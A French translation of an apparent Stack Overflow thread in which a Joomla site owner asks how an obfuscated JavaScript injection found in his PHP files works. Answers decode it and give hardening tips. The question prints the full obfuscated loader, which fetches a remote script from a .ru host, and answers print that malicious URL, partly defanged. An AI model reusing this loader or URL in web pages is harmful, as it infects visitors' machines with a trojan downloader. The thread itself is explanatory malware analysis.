Comment fonctionne ce script d'infection de site?


99

Mon Joomla! site Web a été piraté à plusieurs reprises. Quelqu'un, d'une manière ou d'une autre, a réussi à injecter les déchets suivants dans les scripts PHP clés, mais je veux dire ne pas parler de configuration de Joomla. Le site n'est pas beaucoup visité (je crains parfois d'être le seul visiteur de ce site ...) et je ne me soucie pas beaucoup de la réactivation du site. Je m'en occuperai éventuellement.

Ma question est la suivante: comment fonctionnent ces déchets? Je le regarde et je ne vois tout simplement pas comment cela fait du mal? Ce qu'il fait, c'est qu'il essaie de télécharger un fichier PDF appelé ChangeLog.pdf, qui est infecté par un cheval de Troie et qui, après ouverture, gèlera votre Acrobat et fera des ravages sur votre machine. Comment fait-il ça, je ne sais pas, je m'en fiche. Mais comment le script suivant appelle-t-il le téléchargement?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET a détecté ce code en tant que cheval de Troie JS / TrojanDownloader.Agent.NRO


41
S'il vous plaît, personne ne s'éloigne pour consulter le lien par curiosité!
DOK

1
Ouais, n'essayez pas de comprendre ce qui se passe, la magie réside dans le simple codage de l'URL et le décodage / analyse subséquent de la chaîne en utilisant le Remplacer / RegEx que vous voyez à la fin de la ligne.
DoctorLouie

13
"morceau de script" se lisait comme autre chose, au début.
Aditya MP

Réponses:


181

Notez l' replaceappel après la chaîne de désordre géant: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

Il supprime la plupart des caractères spéciaux, le transformant en une URL normale:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(J'ai changé manuellement http:en evil:)

Notez que l'expression régulière aurait pu être simplifiée en .replace(/[#$@^&()!]/ig, '')

Si vous regardez le script, vous verrez qu'il s'agit d'un script très simple qui injecte un IFRAME caché contenant le chemin /index.php?ysdu même domaine.

J'ai demandé cette page dans Fiddler, et elle n'avait aucun contenu.


6
Je pense que le script fournissant le contenu de l'iframe est fait pour ne pas lancer le téléchargement du pdf à chaque fois. Il peut y avoir une chance sur 10 ou quelque chose comme ça. Il n'a pas essayé de télécharger le pdf à chaque fois que j'actualisais la page joomla. Peut-être même 1 sur 100 ... qui sait?
Peter Perháč

174
+1 pour avoir mentionné que le code aurait pu être écrit plus efficacement. :)
Pekka

8
@Pekka, je pense que cela a été délibérément écrit de cette façon pour être plus obscur
Vue elliptique

7
@Elipticalview Certainement. Si le rédacteur s'inquiétait de l'efficacité, il n'aurait certainement pas utilisé un remplacement RegEx pour dériver une chaîne statique. Lol.
Dan Bechard

Je ne vois pas à quoi sert un modificateur de motif insensible à la casse pour un motif sans lettres. J'utiliserais aussi un +après la classe de caractères ... si j'utilisais regex.
mickmackusa

34

Ces réponses peuvent vous aider à comprendre la nature du code JavaScript malveillant, mais vous devriez rechercher un moyen de combler la faille inhérente au moteur Joomla. Les frameworks pré-packagés sont sujets à des failles, intentionnelles ou non, en particulier lorsque vous prenez en compte le fait qu'ils sont conçus pour fonctionner sur des environnements Unix, Mac et Windows.

Mon travail exige que je gère de nombreux domaines, applications et frameworks sur de nombreux types de serveurs et de systèmes pour les clients et moi-même. Au fil du temps, j'ai vu de plus en plus de robots explorer ces systèmes à la recherche de failles / entrées connues par le biais d'entrées dérobées créées par ces cadres. Bonne chose quand j'utilise n'importe quel type de framework, ce que je fais rarement, je m'assure de renommer la plupart sinon la totalité de la structure de fichier pour me débarrasser de ces fâcheuses failles / portes dérobées. À tout le moins, vous pouvez renommer les répertoires, ce qui rejettera la plupart des robots, mais ma façon est d'éliminer complètement les références qui donnent des indices sur la nature du cadre, ce qui comprend le changement de nom de la structure de fichiers entière et pas seulement des répertoires. Gardez toujours une carte des nouvelles conventions de dénomination par rapport aux anciennes conventions de dénomination afin de faciliter l'ajout de plug-ins à votre infrastructure de base. Une fois que vous avez compris cela, vous pouvez aller jusqu'à renommer par programme l'ensemble de la structure de fichiers du framework pour des résultats plus rapides, cela est particulièrement utile lorsque vous devez traiter avec des clients qui doivent être en mesure de mettre à jour leur framework avec des plug-ins et autres.


1
Ne supprimez simplement pas les informations sur la source du framework, ce serait totalement faux.
DoctorLouie

2
Oooo, merci. C'est une bonne réponse. Pas vraiment de réponse à la question mais toujours +1, car c'était en effet une lecture très intéressante et de bonnes suggestions faites. Ta
Peter Perháč

20

Il fait juste un remplacement regex sur l'URL du script pour vous donner

REMARQUE: NE SUIVEZ PAS LE LIEN CI-DESSOUS (inséré **pour dissuader les copieurs-colleurs)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

comme le src


aussi simple que cela, est-ce? mon Dieu ... j'ai encore été pwnd par SO :)
Peter Perháč

23
C'est une URL hilarante.
Jordan Running le

@Josh - C'est à vous, je ne l'ai pas essayé, donc je ne peux pas vous dire exactement pourquoi. Je soupçonne qu'il peut y avoir des scripts malveillants sur la page. Vous pourriez le faire à vos risques et périls!
Russ Cam

8

Il utilise la fonction replace pour remplacer les caractères inutiles en utilisant regex, rien de mal avec le code:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

7

Son script de chargement de

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

Et ce script se charge iframeavec visibilitéhidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys

2

Lorsque vous lisez le tout, vous constatez qu'il s'agit d'une chaîne suivie d'une commande de remplacement.


2

J'ai le même sript sur mes pages dans des fichiers index *. *. J'écris mon propre code en PHP. Ma question n'est pas de savoir comment cela fonctionne, mais je demande comment protéger si vous connaissez leurs portes dérobées. J'ai changé de formulaire et lu $ _POST et $ _GET en remplaçant <> et http: // etc.


2

Mes deux centimes. Avez-vous / pouvez-vous installer un outil de sauvegarde Joomla tel que Joomlapack?

Je l'ai configuré pour qu'il s'exécute via un script CHRON pour garder les marchandises à portée de main au cas où les agresseurs se livreraient à une agression.

Quelle version de Joomla utilisez-vous?

Les versions 1.0.X ne sont plus mises à jour et leur âge commence vraiment à apparaître. Vous vous devez de faire une sauvegarde et de prévoir de passer à la version 1.5 et d'anticiper les merveilles de la 1.6

En utilisant notre site, vous reconnaissez avoir lu et compris notre politique liée aux cookies et notre politique de confidentialité.
Licensed under cc by-sa 3.0 with attribution required.